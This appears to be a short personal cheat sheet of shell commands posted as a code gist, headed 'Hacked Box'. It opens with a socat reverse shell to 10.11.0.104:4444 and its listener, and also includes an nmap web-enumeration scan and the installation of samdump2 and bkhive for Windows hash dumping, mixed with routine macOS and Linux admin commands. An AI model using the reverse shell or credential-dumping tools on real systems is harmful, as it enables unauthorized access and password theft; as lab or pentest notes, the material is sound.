Skip to content

Instantly share code, notes, and snippets.

Hacked Box:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.11.0.104:4444
socat file:`tty`,raw,echo=0 tcp-listen:4444
/configure --build=i686-pc-linux-gnu "CFLAGS=-m32" "CXXFLAGS=-m32" "LDFLAGS=-m32" --prefix=/root/exploits/othe
r/
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.locate.plist
sudo /usr/libexec/locate.updatedb
hdiutil attach /path/to/diskimage.dmg
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3C962022012520A0
sudo apt-get update
sudo fdesetup authrestart
fdesetup supports authrestart ##Checks for auth restart support
nmap --script -http-enum --script-args http-enum.basepath='pub/' 192.168.10.55
apt-get purge bkhive
apt-get purge samdump2
curl http://http.us.debian.org/debian/pool/main/b/bkhive/bkhive_1.1.1-1_amd64.deb
apt-get install libssl1.0.2
dpkg -i samdump2_1.1.1-1.1_i386.deb
curl http://http.us.debian.org/debian/pool/main/s/samdump2/samdump2_3.0.0-2_amd64.deb
dpkg -i bkhive_1.1.1-1_i386.deb
alias pbcopy='xclip -selection clipboard'
alias pbpaste='xclip -selection clipboard -o'